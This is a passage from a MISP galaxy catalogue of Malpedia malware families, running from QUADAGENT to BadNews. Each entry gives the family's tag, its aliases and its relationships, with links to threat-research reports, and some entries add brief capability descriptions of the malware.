https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powruner
https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2

QUADAGENT

The tag is: *misp-galaxy:malpedia="QUADAGENT"*

QUADAGENT is also known as:

Table 766. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.quadagent
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca

RogueRobin

The tag is: *misp-galaxy:malpedia="RogueRobin"*

RogueRobin is also known as:

Table 767. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.roguerobin
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca

Tater PrivEsc

The tag is: *misp-galaxy:malpedia="Tater PrivEsc"*

Tater PrivEsc is also known as:

Table 768. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.tater
https://github.com/Kevin-Robertson/Tater

ThunderShell

The tag is: *misp-galaxy:malpedia="ThunderShell"*

ThunderShell is also known as:

Table 769. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.thundershell
https://github.com/Mr-Un1k0d3r/ThunderShell

WMImplant

The tag is: *misp-galaxy:malpedia="WMImplant"*

WMImplant is also known as:

Table 770. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wmimplant
https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html

BrickerBot

The tag is: *misp-galaxy:malpedia="BrickerBot"*

BrickerBot is also known as:

Table 771. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.brickerbot
https://www.bleepingcomputer.com/news/security/brickerbot-author-claims-he-bricked-two-million-devices/
https://www.bleepingcomputer.com/news/security/brickerbot-author-retires-claiming-to-have-bricked-over-10-million-iot-devices/
https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-102-01A
http://seclists.org/fulldisclosure/2017/Mar/7
https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent-denial-of-service/
https://www.trustwave.com/Resources/SpiderLabs-Blog/BrickerBot-mod_plaintext-Analysis/
https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf
http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f

Saphyra

The tag is: *misp-galaxy:malpedia="Saphyra"*

Saphyra is also known as:

Table 772. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.saphyra
https://securityintelligence.com/dissecting-hacktivists-ddos-tool-saphyra-revealed/
https://www.youtube.com/watch?v=Bk-utzAlYFI

FlexiSpy

The tag is: *misp-galaxy:malpedia="FlexiSpy"*

FlexiSpy is also known as:

Table 773. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/symbian.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/

7ev3n

The NJCCIC describes 7ev3n as a ransomware "that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n."

The tag is: *misp-galaxy:malpedia="7ev3n"*

7ev3n is also known as:

7ev3n has relationships with:

- similar: misp-galaxy:ransomware="7ev3n" with estimative-language:likelihood-probability="likely"

Table 774. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n
https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n

9002 RAT

The tag is: *misp-galaxy:malpedia="9002 RAT"*

9002 RAT is also known as:

- Hydraq
- McRAT

9002 RAT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Hydraq - S0203" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Aurora" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"

Table 775. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.9002
https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf
https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/
https://community.hpe.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/6894315
http://researchcenter.paloaltonetworks.com/2016/07/unit-42-attack-delivers-9002-trojan-through-google-drive/
https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html
https://www.fireeye.com/blog/threat-research/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html
https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures
https://blog.trendmicro.com/trendlabs-security-intelligence/supply-chain-attack-operation-red-signature-targets-south-korean-organizations/

AbaddonPOS

The tag is: *misp-galaxy:malpedia="AbaddonPOS"*

AbaddonPOS is also known as:

- PinkKite

Table 776. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos
https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak
https://threatpost.com/new-pos-malware-pinkkite-takes-flight/130428/

Abbath Banker

The tag is: *misp-galaxy:malpedia="Abbath Banker"*

Abbath Banker is also known as:

Table 777. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abbath_banker

AcridRain

AcridRain is a password stealer written in C/C++. This malware can steal credentials, cookies, credit cards from multiple browsers. It can also dump Telegram and Steam sessions, rob Filezilla recent connections, and more.

The tag is: *misp-galaxy:malpedia="AcridRain"*

AcridRain is also known as:

Table 778. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain
https://thisissecurity.stormshield.com/2018/08/28/acridrain-stealer/

Acronym

The tag is: *misp-galaxy:malpedia="Acronym"*

Acronym is also known as:

Table 779. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym
https://www.arbornetworks.com/blog/asert/acronym-m-is-for-malware/

AdamLocker

Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim's system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.

The tag is: *misp-galaxy:malpedia="AdamLocker"*

AdamLocker is also known as:

Table 780. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adam_locker
https://twitter.com/JaromirHorejsi/status/813712587997249536
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-dec-19-dec-31-2016

win.adkoob

The tag is: *misp-galaxy:malpedia="win.adkoob"*

win.adkoob is also known as:

Table 781. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob
https://news.sophos.com/en-us/2018/07/29/adkoob-information-thief-targets-facebook-ad-purchase-info/

AdvisorsBot

AdvisorsBot is a downloader named after early command and control domains that all contained the word "advisors". The malware is written in C and employs a number of anti-analysis features such as junk code, stack strings and Windows API function hashing.

The tag is: *misp-galaxy:malpedia="AdvisorsBot"*

AdvisorsBot is also known as:

Table 782. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-2-advisorsbot

Adylkuzz

The tag is: *misp-galaxy:malpedia="Adylkuzz"*

Adylkuzz is also known as:

Table 783. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz

https://www.proofpoint.com/us/threat-insight/post/adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks-via-eternalblue-doublepulsar

Agent.BTZ

The tag is: *misp-galaxy:malpedia="Agent.BTZ"*

Agent.BTZ is also known as:

- ComRAT
- Sun rootkit

Agent.BTZ has relationships with:

- similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 784. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz
http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html
https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/
https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified
https://blog.gdata.de/2015/01/23779-weiterentwicklung-anspruchsvoller-spyware-von-agent-btz-zu-comrat
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf
http://www.intezer.com/new-variants-of-agent-btz-comrat-found/
http://www.intezer.com/new-variants-of-agent-btz-comrat-found-part-2/

Agent Tesla

A .NET based keylogger and RAT readily available to actors. Logs keystrokes and the host’s clipboard and beacons this information back to the C2.

The tag is: *misp-galaxy:malpedia="Agent Tesla"*

Agent Tesla is also known as:

Agent Tesla has relationships with:

- similar: misp-galaxy:tool="Agent Tesla" with estimative-language:likelihood-probability="likely"

Table 785. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla
https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/
https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/
https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting
https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr
https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/
https://blogs.forcepoint.com/security-labs/part-two-camouflage-netting

Aldibot

According to Trend Micro Encyclopia: ALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.

This malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.

This bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.

This malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine’s hardware identification (HWID), host name, local IP address, and OS version.

This backdoor executes commands from a remote malicious user, effectively compromising the affected system.

The tag is: *misp-galaxy:malpedia="Aldibot"*

Aldibot is also known as:

Table 786. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aldibot
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/aldibot

Project Alice

The tag is: *misp-galaxy:malpedia="Project Alice"*

Project Alice is also known as:

Table 787. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm
http://blog.trendmicro.com/trendlabs-security-intelligence/alice-lightweight-compact-no-nonsense-atm-malware/

Alina POS

The tag is: *misp-galaxy:malpedia="Alina POS"*

Alina POS is also known as:

- alina_spark
- katrina
- alina_eagle

Table 788. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos
http://www.xylibox.com/2013/02/alina-34-pos-malware.html
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Casting-a-Shadow-on-POS/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Following-The-Shadow-Part-2/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Following-The-Shadow-Part-1/
https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/
https://www.nuix.com/blog/alina-continues-spread-its-wings
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware—sparks—off-a-new-variant/

Allaple

The tag is: *misp-galaxy:malpedia="Allaple"*

Allaple is also known as:

- Starman

Table 789. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple
https://researchcenter.paloaltonetworks.com/2014/08/hunting-mutex/
https://trapx.com/wp-content/uploads/2017/08/White_Paper_TrapX_AllapleWorm.pdf

Alma Communicator

The tag is: *misp-galaxy:malpedia="Alma Communicator"*

Alma Communicator is also known as:

Table 790. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator
https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/

AlmaLocker

The tag is: *misp-galaxy:malpedia="AlmaLocker"*

AlmaLocker is also known as:

Table 791. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker

ALPC Local PrivEsc

The tag is: *misp-galaxy:malpedia="ALPC Local PrivEsc"*

ALPC Local PrivEsc is also known as:

Table 792. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe
https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/

Alphabet Ransomware

The tag is: *misp-galaxy:malpedia="Alphabet Ransomware"*

Alphabet Ransomware is also known as:

Alphabet Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Alphabet Ransomware" with estimative-language:likelihood-probability="likely"

Table 793. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphabet_ransomware
https://twitter.com/JaromirHorejsi/status/813714602466877440

AlphaLocker

A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just $65 in bitcoin.

AlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware's author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.

AlphaLocker's encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user's computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA key, and sent to the C&C server.

To decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter.

The tag is: *misp-galaxy:malpedia="AlphaLocker"*

AlphaLocker is also known as:

AlphaLocker has relationships with:

- similar: misp-galaxy:ransomware="Alpha Ransomware" with estimative-language:likelihood-probability="likely"

Table 794. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphalocker
https://blog.cylance.com/an-introduction-to-alphalocker

AlphaNC

The tag is: *misp-galaxy:malpedia="AlphaNC"*

AlphaNC is also known as:

Table 795. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

Alreay

The tag is: *misp-galaxy:malpedia="Alreay"*

Alreay is also known as:

Table 796. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay
https://securelist.com/blog/sas/77908/lazarus-under-the-hood/

Alureon

The tag is: *misp-galaxy:malpedia="Alureon"*

Alureon is also known as:

- Olmarik
- Pihar
- TDSS
- TDL

Alureon has relationships with:

- similar: misp-galaxy:botnet="TDL4" with estimative-language:likelihood-probability="likely"

Table 797. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon
http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html
http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html
http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html

AMTsol

The tag is: *misp-galaxy:malpedia="AMTsol"*

AMTsol is also known as:

- Adupihan

Table 798. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol
https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/
http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

Andromeda

The tag is: *misp-galaxy:malpedia="Andromeda"*

Andromeda is also known as:

- Gamarue
- B106-Gamarue
- B67-SS-Gamarue
- b66

Andromeda has relationships with:

- similar: misp-galaxy:tool="Gamarue" with estimative-language:likelihood-probability="likely"

Table 799. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda
http://blog.morphisec.com/andromeda-tactics-analyzed
https://blog.avast.com/andromeda-under-the-microscope
https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis
http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/
https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html
https://blog.fortinet.com/2014/04/23/andromeda-2-7-features
https://blog.fortinet.com/2014/05/19/new-anti-analysis-tricks-in-andromeda-2-08
https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features

https://blog.fortinet.com/2014/04/16/a-good-look-at-the-andromeda-botnet
http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/
http://resources.infosecinstitute.com/andromeda-bot-analysis/
https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/
https://eternal-todo.com/blog/andromeda-gamarue-loves-json
https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation
https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/

Anel

The tag is: *misp-galaxy:malpedia="Anel"*

Anel is also known as:

Table 800. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anel
https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/

Antilam

The tag is: *misp-galaxy:malpedia="Antilam"*

Antilam is also known as:

- Latinus

Table 801. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.antilam

Apocalipto

The tag is: *misp-galaxy:malpedia="Apocalipto"*

Apocalipto is also known as:

Table 802. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto

https://www.visakorea.com/dam/VCOM/download/merchants/Grocery_Malware_04242013.pdf

Apocalypse

The tag is: *misp-galaxy:malpedia="Apocalypse"*

Apocalypse is also known as:

Apocalypse has relationships with:

- similar: misp-galaxy:ransomware="Apocalypse" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="Apocalypse" with estimative-language:likelihood-probability="likely"

Table 803. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom
http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/

ArdaMax

The tag is: *misp-galaxy:malpedia="ArdaMax"*

ArdaMax is also known as:

Table 804. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax

Arefty

The tag is: *misp-galaxy:malpedia="Arefty"*

Arefty is also known as:

Table 805. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/

Arik Keylogger

The tag is: *misp-galaxy:malpedia="Arik Keylogger"*

Arik Keylogger is also known as:

- Aaron Keylogger

Table 806. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger
https://www.invincea.com/2016/09/crimeware-as-a-service-goes-mainstream/
http://remote-keylogger.net/

ARS VBS Loader

The tag is: *misp-galaxy:malpedia="ARS VBS Loader"*

ARS VBS Loader is also known as:

ARS VBS Loader has relationships with:

- similar: misp-galaxy:rat="ARS VBS Loader" with estimative-language:likelihood-probability="likely"

Table 807. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ars_loader
https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/
https://twitter.com/Racco42/status/1001374490339790849
https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/

AscentLoader

The tag is: *misp-galaxy:malpedia="AscentLoader"*

AscentLoader is also known as:

Table 808. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader

ASPC

The tag is: *misp-galaxy:malpedia="ASPC"*

ASPC is also known as:

Table 809. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aspc

Asprox

The tag is: *misp-galaxy:malpedia="Asprox"*

Asprox is also known as:

- Aseljo
- BadSrc

Asprox has relationships with:

- similar: misp-galaxy:botnet="Asprox" with estimative-language:likelihood-probability="likely"

Table 810. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox
http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/
https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/

AthenaGo RAT

The tag is: *misp-galaxy:malpedia="AthenaGo RAT"*

AthenaGo RAT is also known as:

Table 811. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.athenago
http://blog.talosintel.com/2017/02/athena-go.html

ATI-Agent

The tag is: *misp-galaxy:malpedia="ATI-Agent"*

ATI-Agent is also known as:

Table 812. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

ATMii

The tag is: *misp-galaxy:malpedia="ATMii"*

ATMii is also known as:

Table 813. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii
https://securelist.com/atmii-a-small-but-effective-atm-robber/82707/

ATMitch

The tag is: *misp-galaxy:malpedia="ATMitch"*

ATMitch is also known as:

Table 814. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch
https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/

Atmosphere

The tag is: *misp-galaxy:malpedia="Atmosphere"*

Atmosphere is also known as:

Table 815. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere
https://www.group-ib.com/resources/threat-research/silence.html

ATMSpitter

The ATMSpitter family consists of command-line tools designed to control the cash dispenser of an ATM through function calls to either CSCWCNG.dll or MFSXFS.dll. Both libraries are legitimate Windows drivers used to interact with the components of different ATM models.

The tag is: *misp-galaxy:malpedia="ATMSpitter"*

ATMSpitter is also known as:

Table 816. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter
https://quoscient.io/reports/QuoINT_INTBRI_New_ATMSpitter.pdf
https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf

August Stealer

The tag is: *misp-galaxy:malpedia="August Stealer"*

August Stealer is also known as:

Table 817. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.august_stealer
https://hazmalware.blogspot.de/2016/12/analysis-of-august-stealer-malware.html
https://www.proofpoint.com/us/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene

Auriga

The tag is: *misp-galaxy:malpedia="Auriga"*

Auriga is also known as:

- Riodrv

Table 818. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Aurora

Ransomware

The tag is: *misp-galaxy:malpedia="Aurora"*

Aurora is also known as:

Aurora has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Hydraq - S0203" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Aurora" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-

probability="likely"

Table 819. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora
https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/

AvastDisabler

The tag is: *misp-galaxy:malpedia="AvastDisabler"*

AvastDisabler is also known as:

Table 820. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler
https://securityintelligence.com/exposing-av-disabling-drivers-just-in-time-for-lunch/

AVCrypt

The tag is: *misp-galaxy:malpedia="AVCrypt"*

AVCrypt is also known as:

Table 821. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt
https://www.bleepingcomputer.com/news/security/the-avcrypt-ransomware-tries-to-uninstall-your-av-software/

Aveo

The tag is: *misp-galaxy:malpedia="Aveo"*

Aveo is also known as:

Table 822. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo
http://researchcenter.paloaltonetworks.com/2016/08/unit42-aveo-malware-family-targets-japanese-speaking-users/

Avzhan

The tag is: *misp-galaxy:malpedia="Avzhan"*

Avzhan is also known as:

Table 823. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan
https://blog.malwarebytes.com/threat-analysis/2018/02/avzhan-ddos-bot-dropped-by-chinese-drive-by-attack/

Ayegent

The tag is: *misp-galaxy:malpedia="Ayegent"*

Ayegent is also known as:

Table 824. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent

Azorult

AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.

The tag is: *misp-galaxy:malpedia="Azorult"*

Azorult is also known as:

- PuffStealer
- Rultazo

Table 825. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult
https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/
https://blog.minerva-labs.com/puffstealer-evasion-in-a-cloak-of-multiple-layers
https://malwarebreakdown.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan

http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html
https://malwarebreakdown.com/2017/11/12/seamless-campaign-delivers-ramnit-via-rig-ek-at-188-225-82-158-follow-up-malware-is-azorult-stealer/
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside

Babar

The tag is: *misp-galaxy:malpedia="Babar"*

Babar is also known as:

- SNOWBALL

Babar has relationships with:

- similar: misp-galaxy:tool="Babar" with estimative-language:likelihood-probability="likely"

Table 826. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babar
https://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/
https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope
http://www.spiegel.de/media/media-35683.pdf
https://drive.google.com/a/cyphort.com/file/d/0B9Mrr-en8FX4dzJqLWhDblhseTA/
https://researchcenter.paloaltonetworks.com/2017/09/unit42-analysing-10-year-old-snowball/

BABYMETAL

The tag is: *misp-galaxy:malpedia="BABYMETAL"*

BABYMETAL is also known as:

Table 827. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babymetal
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html

backspace

The tag is: *misp-galaxy:malpedia="backspace"*

backspace is also known as:

Table 828. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

BackSwap

The tag is: *misp-galaxy:malpedia="BackSwap"*

BackSwap is also known as:

Table 829. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap
https://securityintelligence.com/backswap-malware-now-targets-six-banks-in-spain/
https://www.cyberbit.com/blog/endpoint-security/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/
https://www.cert.pl/en/news/single/backswap-malware-analysis/

BadEncript

The tag is: *misp-galaxy:malpedia="BadEncript"*

BadEncript is also known as:

Table 830. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badencript
https://twitter.com/PhysicalDrive0/status/833067081981710336

badflick

The tag is: *misp-galaxy:malpedia="badflick"*

badflick is also known as:

Table 831. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

BadNews

The tag is: *misp-galaxy:malpedia="BadNews"*

BadNews is also known as:

Table 832. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-1
http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
